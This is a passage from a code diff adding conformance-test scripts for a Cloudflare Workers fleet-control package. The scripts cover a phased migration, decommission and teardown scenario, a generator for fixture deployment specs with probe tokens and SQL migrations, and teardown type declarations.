+    checkInterruptedItems(witness.value, current);
+    return { ...witness, current };
+  };
+  const migration = async () => {
+    for (;;) {
+      await sync();
+      const current = await items();
+      const previous = state.mutation;
+      if (previous?.migration) {
+        const frame = previous.migration;
+        const item = current[frame.itemOrdinal];
+        equal(item.planCursor, frame.cursor + 1);
+        equal(
+          jsonHash(
+            current.map((entry, index) =>
+              index === frame.itemOrdinal
+                ? { ...entry, planCursor: frame.cursor, status: 'active' }
+                : entry,
+            ),
+          ),
+          frame.itemsSha256,
+        );
+        requireFact(previous.outcome === 'returned', 'proof-unavailable');
+        if (
+          !state.proofs.steps.some(
+            (entry) => entry.ordinal === previous.ordinal,
+          )
+        ) {
+          if (frame.step === 'arm-maintenance')
+            requireFact(previous.attempts.maintenance > 0);
+          requireFact(
+            state.proofs.steps.length < DIRECT_SCENARIO_ARRAY_MAXIMA.steps,
+            'proof-unavailable',
+          );
+          state.proofs.steps.push({
+            ordinal: previous.ordinal,
+            itemOrdinal: frame.itemOrdinal,
+            step: frame.step,
+            beforeCursor: frame.cursor,
+            afterCursor: item.planCursor,
+            ...previous.attempts,
+          });
+          await persist();
+        }
+        state.mutation = null;
+        await persist();
+      }
+      for (const [index, role] of NORMAL_ROLES.entries()) {
+        const item = current[index];
+        equal(record(role).databaseId, state.proofs.initial[role].databaseId);
+        if (item.status === 'pending') {
+          equal(expectedVersion(record(role), '1'), {
+            role,
+            versionId: state.proofs.initial[role].versionId,
+            databaseId: state.proofs.initial[role].databaseId,
+            specDigest: state.proofs.initial[role].specDigest,
+            applicationRelease: '1',
+          });
+          continue;
+        }
+        const cursor = item.planCursor;
+        const plan = item.plan;
+        const next = plan[cursor]?.step;
+        if (next === 'arm-maintenance' && !state.proofs.candidate[role]) {
+          const candidate = await observe(role, '2', true);
+          equal(candidate.specDigest, item.targetSpecDigest);
+          checkTrafficDistribution(candidate, state.proofs.initial[role]);
+          state.proofs.candidate[role] = candidate;
+          await persist();
+        }
+        if (next === 'promote') {
+          requireFact(state.proofs.candidate[role]);
+          requireFact(
+            state.proofs.steps.some(
+              (entry) =>
+                entry.itemOrdinal === index &&
+                entry.step === 'arm-maintenance' &&
+                entry.maintenance > 0,
+            ),
+          );
+        }
+        const promoted = plan.findIndex((entry) => entry.step === 'promote');
+        if (promoted >= 0 && cursor > promoted && !state.proofs.final[role]) {
+          requireFact(state.proofs.candidate[role]);
+          const version = state.proofs.candidate[role];
+          const observed = await observeDirectWorkerVersion({
+            ...observer,
+            role,
+            versionId: version.versionId,
+            databaseId: version.databaseId,
+            specDigest: version.specDigest,
+            applicationRelease: '2',
+          });
+          equal(observed.trafficPercentage, 100);
+          equal(observed.currentDeployment.versions, [
+            { versionId: version.versionId, percentage: 100 },
+          ]);
+          state.proofs.final[role] = observed;
+          await persist();
+        }
+      }
+      if (current.every((item) => item.status === 'complete')) {
+        const result = await mutate({ kind: 'migration-continue' });
+        requireFact(result.status === 'complete');
+        const expected = NORMAL_ROLES.map((role) =>
+          expectedVersion(record(role), '2'),
+        );
+        const effects = await readDirectSettlementEffects({
+          ...observer,
+          expected,
+        });
+        state.proofs.effects = effects;
+        await persist();
+        await advancePhase();
+        return;
+      }
+      const active = current.find((item) => item.status === 'active');
+      const frame = active
+        ? {
+            itemOrdinal: active.ordinal,
+            cursor: active.planCursor,
+            step: active.plan[active.planCursor].step,
+            itemsSha256: jsonHash(current),
+          }
+        : null;
+      const result = await mutate({ kind: 'migration-continue' }, frame);
+      requireFact(result.status === 'pending' || result.status === 'complete');
+    }
+  };
+  const decommission = async (role) => {
+    await sync();
+    let result;
+    if (!slot(`decommission-${role}`))
+      result = await mutate({ kind: 'decommission-start', role });
+    while (result?.status !== 'complete') {
+      await sync();
+      const metadata = await invoke({ kind: 'decommission-export', role });
+      if (metadata.available) {
+        if (state.proofs.exports[role]) {
+          const { receipt, location, size, sha256 } =
+            state.proofs.exports[role];
+          equal(
+            {
+              receipt: metadata.receipt,
+              location: metadata.location,
+              size: metadata.size,
+              sha256: metadata.sha256,
+            },
+            { receipt, location, size, sha256 },
+          );
+        } else {
+          requireFact(
+            metadata.lifecyclePhase === 'database-exported',
+            'proof-unavailable',
+          );
+        }
+        const verified = await verifyDirectDecommissionExport({
+          ...observer,
+          role,
+          metadata,
+          sourceInvocationOrdinal: journal.snapshot().invocationCount,
+        });
+        requireFact(
+          state.proofs.exportVerifications.length <
+            DIRECT_SCENARIO_ARRAY_MAXIMA.exportVerifications,
+          'proof-unavailable',
+        );
+        state.proofs.exports[role] = verified;
+        state.proofs.exportVerifications.push(verified);
+        await persist();
+      } else requireFact(!state.proofs.exports[role]);
+      result = await invoke({ kind: 'decommission-continue', role }, true);
+      requireFact(result.status !== 'blocked', 'blocked');
+      requireFact(result.status === 'pending' || result.status === 'complete');
+    }
+    const terminal = result.result.record;
+    const proof = state.proofs.exports[role];
+    requireFact(proof);
+    equal(terminal.phase, 'decommissioned');
+    equal(terminal.databaseId, proof.receipt.databaseId);
+    equal(terminal.scriptName, prepared.names.roles[role].scriptName);
+    equal(terminal.decommissionIntent.operationId, proof.receipt.operationId);
+    equal(terminal.decommissionIntent.state, 'complete');
+    equal(result.result.databaseExport, {
+      databaseId: proof.receipt.databaseId,
+      location: proof.location,
+      size: proof.size,
+      sha256: proof.sha256,
+    });
+    state.proofs.decommission[role] = {
+      operationId: proof.receipt.operationId,
+      databaseId: terminal.databaseId,
+      scriptName: terminal.scriptName,
+      phase: terminal.phase,
+    };
+    await persist();
+    await advancePhase();
+  };
+  const footprintExpectation = (retained) => ({
+    retained,
+    resource: state.proofs.initial.recovery,
+    databaseName: prepared.names.roles.recovery.databaseName,
+    cleanup: state.proofs.cleanup,
+    force: state.proofs.force,
+    versionIdMaximum: DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds,
+  });
+  try {
+    requireFact(
+      journal &&
+        typeof journal === 'object' &&
+        invocation &&
+        !busy.has(journal),
+      'invalid-input',
+    );
+    busy.add(journal);
+    acquired = true;
+    const snapshot = journal.snapshot();
+    requireFact(!mutationPending(snapshot), 'outcome-unknown');
+    requireFact(
+      snapshot.bootstrap?.controlReadOrdinal &&
+        snapshot.binding.configSha256 === prepared.configSha256 &&
+        snapshot.binding.referenceModuleSetSha256 ===
+          prepared.referenceModuleSetSha256 &&
+        snapshot.binding.maxInvocations ===
+          prepared.config.referenceWorker.maxInvocations,
+      'invalid-input',
+    );
+    state = structuredClone(
+      snapshot.scenario ?? initialState(snapshot.invocationCount),
+    );
+    if (state.failure)
+      requireFact(false, state.failure.code, state.failure.detail);
+    if (
+      state.lastCall?.outcome === 'prepared' ||
+      state.mutation?.outcome === 'prepared'
+    )
+      requireFact(false, 'proof-unavailable');
+    requireFact(
+      snapshot.binding.maxInvocations >= DIRECT_SCENARIO_MIN_INVOCATIONS,
+      'budget-exhausted',
+      'below-scenario-floor',
+    );
+    await persist();
+    if (state.phase === 'migration-restart') {
+      const currentProcess = await processIdentity();
+      if (isDeepStrictEqual(currentProcess, state.proofs.restart.process))
+        return { status: 'restart-required' };
+    }
+    await sync();
+    for (;;) {
+      switch (state.phase) {
+        case 'provision-a':
+          await provision('a');
+          break;
+        case 'provision-b':
+          await provision('b');
+          break;
+        case 'inventory-before':
+          await inventory('before');
+          break;
+        case 'inventory-after':
+          await inventory('after');
+          break;
+        case 'audit-before':
+          await audit('before');
+          break;
+        case 'audit-after':
+          await audit('after');
+          break;
+        case 'fence-drain':
+          for (const role of NORMAL_ROLES) {
+            await fenceStage(role, 'drain');
+            if (state.proofs.fence.sweeps[role] === null) {
+              const first = await fenceSweep(role);
+              state.proofs.fence.sweeps[role] = {
+                first,
+                second: null,
+                intervalMs: null,
+              };
+              await persist();
+            }
+          }
+          await advancePhase();
+          break;
+        case 'fence-reopen':
+          for (const role of NORMAL_ROLES) {
+            if (state.proofs.fence.sweeps[role].second === null) {
+              const second = await fenceSweep(role);
+              state.proofs.fence.sweeps[role].second = second;
+              state.proofs.fence.sweeps[role].intervalMs = Math.max(
+                0,
+                second.observedAt -
+                  state.proofs.fence.sweeps[role].first.observedAt,
+              );
+              await persist();
+            }
+            await fenceStage(role, 'reopen');
+          }
+          await advancePhase();
+          break;
+        case 'fence-proofs':
+          for (const role of NORMAL_ROLES) {
+            if (state.proofs.fence.probes[role] !== null) continue;
+            const current = await invoke({
+              kind: 'tenant-fence',
+              role,
+              operation: 'mutate-current',
+            });
+            requireFact(current.accepted === true);
+            const stale = await invoke({
+              kind: 'tenant-fence',
+              role,
+              operation: 'probe-stale',
+            });
+            requireFact(stale.classification === 'stale');
+            const missing = await invoke({
+              kind: 'tenant-fence',
+              role,
+              operation: 'probe-missing',
+            });
+            requireFact(missing.classification === 'missing');
+            const future = await invoke({
+              kind: 'tenant-fence',
+              role,
+              operation: 'probe-future',
+            });
+            requireFact(future.classification === 'future');
+            state.proofs.fence.probes[role] = {
+              current: 'accepted',
+              missing: 'missing',
+              stale: 'stale',
+              future: 'future',
+              mutationEpoch:
+                state.proofs.fence.reopen[role].after.mutationEpoch,
+              ordinal: state.lastCall.ordinal,
+            };
+            await persist();
+          }
+          await advancePhase();
+          break;
+        case 'migration-start': {
+          await sync();
+          if (!migrationStartSettled(control, state.mutation)) {
+            const result = await invoke({ kind: 'migration-start' }, true);
+            equal(result.status, 'pending');
+          }
+          await advancePhase();
+          break;
+        }
+        case 'migration-interrupt': {
+          await sync();
+          if (!migrationInterruptSettled(control, state.mutation)) {
+            try {
+              await invoke({ kind: 'migration-continue' }, true);
+              requireFact(false, 'proof-unavailable');
+            } catch (error) {
+              if (!(error instanceof DirectInvocationError)) throw error;
+              requireFact(error.code === 'injected-response-loss', error.code);
+            }
+            await sync();
+          }
+          if (!state.proofs.restart) {
+            const lossOrdinal = state.mutation.ordinal;
+            const witness = await interruption();
+            state.proofs.restart = {
+              process: await processIdentity(),
+              resumedProcess: null,
+              lossOrdinal,
+              operationId: witness.value.operationId,
+              witnessSha256: hash(control.interruption),
+              claimSha256: hash(witness.value.claimJson),
+              successorSha256: hash(witness.value.returnedTokenJson),
+              itemsSha256: jsonHash(witness.current),
+              replayOrdinal: null,
+            };
+            await persist();
+          }
+          await advancePhase();
+          return { status: 'restart-required' };
+        }
+        case 'migration-restart': {
+          const restart = state.proofs.restart;
+          const currentProcess = await processIdentity();
+          requireFact(
+            !isDeepStrictEqual(currentProcess, restart.process),
+            'proof-unavailable',
+          );
+          await sync();
+          equal(hash(control.interruption), restart.witnessSha256);
+          const witness = await interruption();
+          equal(hash(witness.value.claimJson), restart.claimSha256);
+          equal(hash(witness.value.returnedTokenJson), restart.successorSha256);
+          equal(jsonHash(witness.current), restart.itemsSha256);
+          if (restart.replayOrdinal === null) {
+            const replay = await invoke(
+              { kind: 'migration-continue', token: witness.claim },
+              true,
+            );
+            const replayOrdinal = state.mutation.ordinal;
+            equal(state.mutation.attempts, zeroAttempts());
+            equal(replay.token, witness.successor);
+            equal(replay.status, 'pending');
+            equal(replay.itemOrdinal, 0);
+            equal(replay.planCursor, 0);
+            equal(await items(), witness.current);
+            await sync();
+            equal(hash(control.interruption), restart.witnessSha256);
+            state.proofs.restart = {
+              ...restart,
+              resumedProcess: currentProcess,
+              replayOrdinal,
+            };
+            await persist();
+          }
+          await advancePhase();
+          break;
+        }
+        case 'migration':
+          await migration();
+          break;
+        case 'post-migration':
+          for (const role of NORMAL_ROLES) {
+            await health(role, '2', 'next');
+            equal(await objectRead(role, true), state.proofs.objects[role]);
+          }
+          await advancePhase();
+          break;
+        case 'failed-recovery': {
+          await sync();
+          if (!slot('cleanup-recovery')) {
+            const failed = await mutate({
+              kind: 'provision',
+              role: 'recovery',
+              release: 'failed-recovery',
+            });
+            equal(failed.status, 'failed-provision');
+            equal(failed.slot, 'cleanup-recovery');
+          } else
+            requireFact(
+              slot('cleanup-recovery').tokenJson,
+              'proof-unavailable',
+            );
+          await advancePhase();
+          break;
+        }
+        case 'cleanup-recovery': {
+          let result = await mutate({
+            kind: 'cleanup-continue',
+            role: 'recovery',
+          });
+          while (result.status === 'pending')
+            result = await mutate({
+              kind: 'cleanup-continue',
+              role: 'recovery',
+              token: result.token,
+            });
+          requireFact(result.status !== 'blocked', 'blocked');
+          equal(result.status, 'complete');
+          const historical = await invoke({
+            kind: 'cleanup-receipt',
+            role: 'recovery',
+          });
+          equal(historical.slot, 'cleanup-recovery');
+          equal(historical.receipt, result.receipt);
+          state.proofs.cleanup = historical.receipt;
+          await persist();
+          await advancePhase();
+          break;
+        }
+        case 'provision-recovery':
+          await provision('recovery');
+          break;
+        case 'delete-objects':
+          for (const role of NORMAL_ROLES) {
+            if (state.proofs.objectDeletions[role] !== null) continue;
+            const result = await mutate({
+              kind: 'tenant-probe',
+              role,
+              operation: 'object-delete',
+            });
+            equal(result, { role, operation: 'object-delete', returned: true });
+            await objectRead(role, false);
+            state.proofs.objectDeletions[role] =
+              journal.snapshot().invocationCount;
+            await persist();
+          }
+          await advancePhase();
+          break;
+        case 'decommission-a':
+          await decommission('a');
+          break;
+        case 'decommission-b':
+          await decommission('b');
+          break;
+        case 'force-terminal-a': {
+          if (!state.proofs.terminalForce.a) {
+            const prior = state.mutation;
+            const resumed =
+              prior?.action.kind === 'force-terminal' &&
+              prior.action.role === 'a';
+            if (resumed) {
+              // The force settles and persists its attempts and the identity it
+              // deleted before returning. Repeating it answers from the
+              // absent-record branch, which replaces the deleting call's witness
+              // with a no-op's zeros and its `before` with null, so the
+              // settlement this run persisted is what proves the call deleted
+              // the row. A prior that settled any other way is therefore
+              // terminal here: re-issuing the force recovers neither witness.
+              requireFact(
+                prior.outcome === 'returned' && prior.attempts !== null,
+                'proof-unavailable',
+              );
+            } else {
+              const result = await mutate({
+                kind: 'force-terminal',
+                role: 'a',
+              });
+              requireFact(
+                result.returned === true && result.after.present === false,
+              );
+            }
+            const settled = resumed ? prior : state.mutation;
+            equal(settled.attempts, zeroAttempts());
+            equal(settled.before, {
+              databaseId: state.proofs.decommission.a.databaseId,
+              scriptName: state.proofs.decommission.a.scriptName,
+            });
+            await sync();
+            equal(record('a'), { role: 'a', present: false });
+            state.proofs.terminalForce.a = {
+              databaseId: settled.before.databaseId,
+              scriptName: settled.before.scriptName,
+              ordinal: settled.ordinal,
+              attempts: settled.attempts,
+            };
+            await persist();
+          }
+          await advancePhase();
+          break;
+        }
+        case 'force-recovery': {
+          await sync();
+          if (control.forceBefore) {
+            // The recorded force is what `forceBefore` came from, so a
+            // settlement this run cannot read leaves the phase terminal:
+            // a second force observes its own call, not the one that ran.
+            requireFact(
+              state.mutation?.action.kind === 'force-recovery' &&
+                state.mutation.outcome === 'returned',
+              'proof-unavailable',
+            );
+          } else {
+            await objectRead('recovery', false);
+            const metadata = await invoke({
+              kind: 'decommission-export',
+              role: 'recovery',
+            });
+            equal(metadata, {
+              available: false,
+              role: 'recovery',
+              lifecyclePhase: 'not-started',
+            });
+            if (state.proofs.recoveryExportAbsent.beforeOrdinal === null) {
+              state.proofs.recoveryExportAbsent.beforeOrdinal =
+                journal.snapshot().invocationCount;
+              await persist();
+            }
+          }
+          const result = await mutate({ kind: 'force-recovery' });
+          requireFact(result.returned === true);
+          await advancePhase();
+          break;
+        }
+        case 'force-observe': {
+          const result = await invoke({ kind: 'force-observe' });
+          state.proofs.force = checkFootprint(
+            result.observation,
+            footprintExpectation(true),
+          );
+          await persist();
+          const metadata = await invoke({
+            kind: 'decommission-export',
+            role: 'recovery',
+          });
+          equal(metadata, {
+            available: false,
+            role: 'recovery',
+            lifecyclePhase: 'not-started',
+          });
+          if (state.proofs.recoveryExportAbsent.afterOrdinal === null)
+            state.proofs.recoveryExportAbsent.afterOrdinal =
+              journal.snapshot().invocationCount;
+          await persist();
+          await advancePhase();
+          break;
+        }
+        case 'recover-force-residual': {
+          const result = await mutate({ kind: 'recover-force-residual' });
+          requireFact(result.returned === true);
+          state.proofs.residual = checkFootprint(
+            result.observation,
+            footprintExpectation(false),
+          );
+          await persist();
+          await advancePhase();
+          break;
+        }
+        case 'complete':
+          requireFact(
+            state.proofs.restart?.replayOrdinal &&
+              state.proofs.effects.length === 2 &&
+              state.proofs.decommission.a &&
+              state.proofs.decommission.b &&
+              state.proofs.terminalForce.a &&
+              state.proofs.force &&
+              state.proofs.residual,
+          );
+          await sync();
+          return {
+            status: 'complete',
+            facts: journal.snapshot().scenario.proofs,
+            invocationCount: journal.snapshot().invocationCount,
+            attempts: journal.snapshot().scenario.attempts,
+            sdkRequests: journal.snapshot().scenario.sdkRequests,
+          };
+        default:
+          requireFact(false, 'invalid-input');
+      }
+    }
+  } catch (error) {
+    const observed = failureCodes.has(error?.code)
+      ? error.code
+      : 'observation-mismatch';
+    const detail = failureDetails.has(error?.detail) ? error.detail : undefined;
+    let code = observed;
+    const snapshot = acquired ? journal.snapshot() : null;
+    if (state && snapshot && !mutationPending(snapshot)) {
+      state.failure ??= {
+        code: observed,
+        ordinal: snapshot.invocationCount,
+        ...(detail === undefined ? {} : { detail }),
+      };
+      try {
+        await persist();
+      } catch (unwritable) {
+        if (!(unwritable instanceof DirectRunStateError)) throw unwritable;
+        code = 'journal-failed';
+      }
+    }
+    return {
+      status: 'failed',
+      reason: code,
+      ...(code === observed && detail !== undefined ? { detail } : {}),
+      phase: state?.phase ?? null,
+      invocationCount: snapshot?.invocationCount ?? 0,
+    };
+  } finally {
+    if (acquired) busy.delete(journal);
+  }
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-spec.ts b/packages/fleet-control/scripts/direct-credentialed-spec.ts
new file mode 100644
index 00000000..7065260e
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-spec.ts
@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { Buffer } from 'node:buffer';
+import { createHash, randomBytes } from 'node:crypto';
+import {
+  plainWorkerIngressModule,
+  validateDeploymentSecrets,
+  validateDeploymentSpec,
+} from '@proofoftech/fleet-control';
+import {
+  type CloudflareDeploymentSpec,
+  type DeploymentSecrets,
+  generateDeploymentSecrets,
+} from '@proofoftech/fleet-control/cloudflare-control-plane';
+import type { DirectConformanceNames } from './direct-credentialed-conformance-config.mjs';
+import { DIRECT_MAX_UPLOAD_BYTES } from './direct-credentialed-conformance-limits.mjs';
+import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs';
+
+export type DirectFixtureRole = keyof DirectConformanceNames['roles'];
+export type DirectFixtureRelease = 'initial' | 'next' | 'failed-recovery';
+
+export interface DirectProviderContext {
+  readonly accountWorkersDevSubdomain: string;
+}
+
+export function generateDirectDeploymentSecrets(): DeploymentSecrets {
+  return Object.freeze({
+    ...generateDeploymentSecrets(),
+    application: Object.freeze({
+      APP_PROBE_TOKEN: Buffer.from(randomBytes(32)).toString('base64url'),
+    }),
+  });
+}
+
+export function directDeploymentSpec(
+  manifest: DirectRunManifest,
+  role: DirectFixtureRole,
+  release: DirectFixtureRelease,
+  secrets: DeploymentSecrets,
+  provider: DirectProviderContext,
+): CloudflareDeploymentSpec {
+  if (
+    !['a', 'b', 'recovery'].includes(role) ||
+    !['initial', 'next', 'failed-recovery'].includes(release) ||
+    (release === 'failed-recovery' && role !== 'recovery')
+  )
+    throw new Error('invalid direct fixture selection');
+  if (manifest.contractVersion !== 1 || manifest.fixtureVersion !== 1)
+    throw new Error('invalid direct fixture version');
+  const subdomain = provider?.accountWorkersDevSubdomain;
+  if (
+    typeof subdomain !== 'string' ||
+    !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain)
+  )
+    throw new Error('invalid direct fixture account Workers.dev subdomain');
+  const artifact = manifest.tenantModule;
+  if (
+    new TextEncoder().encode(artifact.source).byteLength !==
+      artifact.byteLength ||
+    createHash('sha256').update(artifact.source).digest('hex') !==
+      artifact.sha256
+  )
+    throw new Error('invalid direct fixture artifact');
+  const wasm = manifest.tenantWasm.map((module) => {
+    const content = new Uint8Array(Buffer.from(module.base64, 'base64'));
+    if (
+      content.byteLength !== module.byteLength ||
+      createHash('sha256').update(content).digest('hex') !== module.sha256
+    )
+      throw new Error('invalid direct fixture Wasm artifact');
+    return { name: module.name, content, contentType: module.contentType };
+  });
+  const token = secrets.application?.APP_PROBE_TOKEN;
+  if (typeof token !== 'string' || token.length === 0)
+    throw new Error('missing direct fixture application secret');
+  const names = manifest.names.roles[role];
+  const maintenanceHostname = `${names.scriptName}.${subdomain}.workers.dev`;
+  if (maintenanceHostname === names.routeHostname)
+    throw new Error(
+      'direct fixture maintenance and application hosts must differ',
+    );
+  const next = release === 'next';
+  const failed = release === 'failed-recovery';
+  const spec: CloudflareDeploymentSpec = {
+    tenantTag: names.tenantTag,
+    environment: manifest.environment,
+    scriptName: names.scriptName,
+    databaseName: names.databaseName,
+    ...manifest.deploymentRuntime,
+    compatibilityFlags: [...manifest.deploymentRuntime.compatibilityFlags],
+    mainModule: artifact.name,
+    modules: [
+      {
+        name: artifact.name,
+        content: artifact.source,
+        contentType: artifact.contentType,
+      },
+      ...wasm,
+    ],
+    authoredBy: 'platform',
+    schemaVersion: next || failed ? 2 : 1,
+    migrations: [
+      {
+        version: 1,
+        sql: "CREATE TABLE direct_conformance_fixture (id INTEGER PRIMARY KEY, marker TEXT NOT NULL); INSERT INTO direct_conformance_fixture (id, marker) VALUES (1, 'initial');",
+      },
+      ...(next
+        ? [
+            {
+              version: 2,
+              sql: "ALTER TABLE direct_conformance_fixture ADD COLUMN release TEXT NOT NULL DEFAULT 'next'; UPDATE direct_conformance_fixture SET marker = 'next' WHERE id = 1;",
+              rollbackCompatible: true as const,
+            },
+          ]
+        : failed
+          ? [
+              {
+                version: 2,
+                sql: 'INSERT INTO direct_conformance_missing_table (value) VALUES (1);',
+              },
+            ]
+          : []),
+    ],
+    durableObjectMigrations: [
+      { tag: 'v1', newSqliteClasses: ['Maintenance', 'Runner'] },
+    ],
+    ...(next ? { previousDurableObjectTag: 'v1' } : {}),
+    durableObjectBindings: [
+      { name: 'MAINTENANCE', className: 'Maintenance' },
+      { name: 'RUNNER', className: 'Runner' },
+    ],
+    maintenanceBaseUrl: `https://${maintenanceHostname}`,
+    routeHostname: names.routeHostname,
+    application: {
+      vars: [{ name: 'APPLICATION_RELEASE', value: next ? '2' : '1' }],
+      secrets: [
+        {
+          name: 'APP_PROBE_TOKEN',
+          valueSha256: createHash('sha256').update(token).digest('hex'),
+        },
+      ],
+      r2Buckets: [{ name: 'PROBE_BUCKET' }],
+    },
+  };
+  validateDeploymentSpec(spec);
+  validateDeploymentSecrets(spec, secrets);
+  const modules = [...spec.modules, plainWorkerIngressModule(spec)];
+  const uploadBytes = modules.reduce(
+    (sum, module) => sum + Buffer.byteLength(module.content),
+    0,
+  );
+  if (uploadBytes > DIRECT_MAX_UPLOAD_BYTES)
+    throw new Error('direct fixture upload size exceeds the Workers limit');
+  return spec;
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts b/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts
new file mode 100644
index 00000000..9aa98dad
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-teardown.d.mts
@@ -0,0 +1,69 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import type {
+  DirectBootstrapState,
+  DirectResidualObservation,
+  DirectRunJournal,
+  DirectTeardownFailure,
+  DirectTeardownPhase,
+  DirectTeardownReceipts,
+} from './direct-credentialed-run-state.mjs';
+
+export type {
+  DirectResidualObservation,
+  DirectResidualSurface,
+  DirectTeardownFailure,
+  DirectTeardownMutation,
+  DirectTeardownPhase,
+  DirectTeardownReceipts,
+  DirectTeardownState,
+} from './direct-credentialed-run-state.mjs';
+
+export class DirectTeardownError extends Error {
+  readonly code: DirectTeardownFailure;
+  constructor(code?: DirectTeardownFailure);
+}
+
+export interface DirectTeardownProofs {
+  readonly retainedIdentities: Readonly<{
+    fleetUuid: string | null;
+    quotaUuid: string | null;
+    exportBucket: string | null;
+    scriptName: string | null;
+    activeVersionId: string | null;
+  }>;
+  readonly receipts: DirectTeardownReceipts;
+  readonly residual: DirectResidualObservation | null;
+  readonly providerRequests: number;
+  readonly failure: DirectTeardownFailure | null;
+}
+
+export type DirectTeardownOutcome =
+  | Readonly<{ status: 'cleaned'; facts: DirectTeardownProofs }>
+  | Readonly<{
+      status: 'retained';
+      reason: DirectTeardownFailure;
+      phase: DirectTeardownPhase;
+      facts: DirectTeardownProofs;
+    }>;
+
+/**
+ * The identities a teardown has not removed. A receipt for a resource means the
+ * resource is gone, so the identity it carried is no longer retained; the
+ * evidence projection reads this derivation rather than repeating it.
+ */
+export function survivingIdentities(
+  bootstrap: DirectBootstrapState | null | undefined,
+  receipts: Partial<DirectTeardownReceipts>,
+): DirectTeardownProofs['retainedIdentities'];
+
+export function teardownDirectReference(
+  input: Readonly<{
+    prepared: PreparedDirectConformance;
+    journal: DirectRunJournal;
+    apiToken: string;
+    fetch?: typeof fetch;
+    delay?: (milliseconds: number) => Promise<void>;
+  }>,
+): Promise<DirectTeardownOutcome>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs
new file mode 100644
index 00000000..dfa756ac
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs
@@ -0,0 +1,835 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { isDeepStrictEqual } from 'node:util';
+
+import { validateDirectConformanceConfig } from './direct-credentialed-conformance-config.mjs';
+import {
+  bucketPages,
+  classifyDispatchNamespaces,
+  identifier,
+  inventory,
+  openDirectProviderSession,
+  probeAbsent,
+  providerErrorFrom,
+  singlePage,
+  validateProviderAuth,
+} from './direct-credentialed-provider.mjs';
+import {
+  DIRECT_RESIDUAL_SURFACES,
+  DIRECT_TEARDOWN_FAILURES,
+  DIRECT_TEARDOWN_MAXIMA,
+  DIRECT_TEARDOWN_RECOVERABLE_FAILURES,
+  REFERENCE_SECRET_NAMES,
+} from './direct-credentialed-reference-vocabulary.mjs';
+import {
+  DirectRunStateError,
+  mutationPending,
+} from './direct-credentialed-run-state.mjs';
+
+const ERROR_CODES = new Set(DIRECT_TEARDOWN_FAILURES);
+const PROVIDER_CODES = Object.freeze({
+  forbidden: 'forbidden',
+  'budget-exhausted': 'budget-exhausted',
+  'provider-unavailable': 'provider-unavailable',
+  'observation-mismatch': 'provider-unavailable',
+  'invalid-input': 'invalid-state',
+});
+const SETTLE_DELAY_MS = 3_000;
+const OBJECT_SETTLE_ATTEMPTS = 3;
+const OBJECT_SETTLE_DELAY_MS = 2_000;
+// Teardown asserts the set it observes against the set the reference upload
+// binds, sorted because a listing's order is the provider's. Reading the
+// upload's own list makes a bootstrap-side change visible here.
+const EXPECTED_SECRET_NAMES = Object.freeze([...REFERENCE_SECRET_NAMES].sort());
+// Exactly the two receipt objects a complete scenario exports; the journal's
+// `exportObjects` maximum bounds what a record may carry and is not this
+// expectation.
+const CONFIRMED_EXPORT_KEYS = 2;
+const BOOTSTRAP_RECEIPTS = Object.freeze([
+  'fleet',
+  'quota',
+  'exports',
+  'upload',
+  'active',
+  'ingress',
+]);
+const EMPTY_RECEIPTS = Object.freeze({
+  ingress: null,
+  worker: null,
+  fleet: null,
+  quota: null,
+  exportObjects: Object.freeze([]),
+  exports: null,
+});
+const MUTATION_OPTIONS = Object.freeze({ maxRetries: 0 });
+
+export class DirectTeardownError extends Error {
+  constructor(code = 'invalid-state') {
+    const accepted = ERROR_CODES.has(code) ? code : 'invalid-state';
+    super(accepted);
+    this.name = 'DirectTeardownError';
+    this.code = accepted;
+  }
+}
+
+function refuse(code = 'invalid-state') {
+  throw new DirectTeardownError(code);
+}
+
+function teardownCode(error, apiError) {
+  if (error instanceof DirectTeardownError) return error.code;
+  const raised = providerErrorFrom(error);
+  if (raised) return PROVIDER_CODES[raised.code] ?? 'provider-unavailable';
+  if (error instanceof DirectRunStateError)
+    return error.code === 'outcome-unknown' ? error.code : 'invalid-state';
+  if (
+    apiError &&
+    error instanceof apiError &&
+    (error.status === 401 || error.status === 403)
+  )
+    return 'forbidden';
+  return 'provider-unavailable';
+}
+
+function pause(milliseconds) {
+  return new Promise((fulfill) => setTimeout(fulfill, milliseconds));
+}
+
+function recordableName(value) {
+  return (
+    typeof value === 'string' &&
+    value.length > 0 &&
+    value === value.trim() &&
+    Buffer.byteLength(value) <= DIRECT_TEARDOWN_MAXIMA.nameBytes &&
+    ![...value].some(
+      (character) =>
+        character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127,
+    )
+  );
+}
+
+function maximal(length) {
+  return Array.from({ length }, () =>
+    'n'.repeat(DIRECT_TEARDOWN_MAXIMA.nameBytes),
+  );
+}
+
+function checkedInput(input) {
+  try {
+    const journal = input.journal;
+    for (const method of [
+      'snapshot',
+      'recordTeardown',
+      'assertTeardownCapacity',
+    ])
+      if (typeof journal[method] !== 'function') refuse();
+    const snapshot = journal.snapshot();
+    const prepared = structuredClone(input.prepared);
+    const config = validateDirectConformanceConfig(prepared.config);
+    if (
+      snapshot.version !== 2 ||
+      !isDeepStrictEqual(config, prepared.config) ||
+      snapshot.binding.configSha256 !== prepared.configSha256 ||
+      snapshot.binding.referenceModuleSetSha256 !==
+        prepared.referenceModuleSetSha256 ||
+      snapshot.binding.resourcePrefix !== config.resourcePrefix ||
+      snapshot.binding.maxInvocations !== config.referenceWorker.maxInvocations
+    )
+      refuse();
+    validateProviderAuth(input.apiToken);
+    const fetchRequest = input.fetch ?? globalThis.fetch;
+    const delay = input.delay ?? pause;
+    if (typeof fetchRequest !== 'function' || typeof delay !== 'function')
+      refuse();
+    return {
+      journal,
+      config,
+      snapshot,
